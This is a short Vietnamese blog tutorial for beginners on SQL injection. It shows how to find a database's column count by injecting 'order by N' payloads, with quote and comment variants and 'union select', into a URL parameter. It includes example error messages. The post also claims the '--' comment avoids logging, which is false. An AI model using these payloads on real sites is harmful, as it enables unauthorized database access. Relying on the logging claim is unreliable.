Thứ Bảy, 7 tháng 7, 2012

SQL injection lab 2 [Order by] - for newbie

Order by được sử dụng để làm gì :
-Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL.


Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)


VD: http://ww.site.com/index.php?id=1 order by 100
Lỗi nhận biết


Error: Unknown column '100' in 'order clause'
--------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


site có hiện tượng khác lạ (dựa vào kinh nghiệm)


Nhưng cũng có site lại phải thêm dấu nháy và dấu -- hoặc -- - hoặc -- a hoặc /* mới order by được


-- : Hiểu đơn giản là tránh bị ghi log
- : Biến đoạn đằng sau dấu - thành chú thích.


Sau đây là các trường hợp thường dùng để Order by :
TH


cú pháp


Ví dụ
TH1: order by 100 http://ww.site.com/index.php?id=1 order by 100
TH2: ' order by 100 http://ww.site.com/index.php?id=1 ' order by 100
TH3: 'order by 100 http://ww.site.com/index.php?id=1 'order by 100
TH4: chuyển sang union select http://ww.site.com/index.php?id=1 union select 1


Ví Dụ:


http://ww.site.com/index.php?id=1 order by 1-- không lỗi
http://ww.site.com/index.php?id=1 order by 2-- không lỗi
http://ww.site.com/index.php?id=1 order by 3-- không lỗi
http://ww.site.com/index.php?id=1 order by 4-- lỗi
vậy ta thấy site có 3 cột lỗi (vì order by 4 cột --> hiện lỗi)


writer:kingnus

Không có nhận xét nào: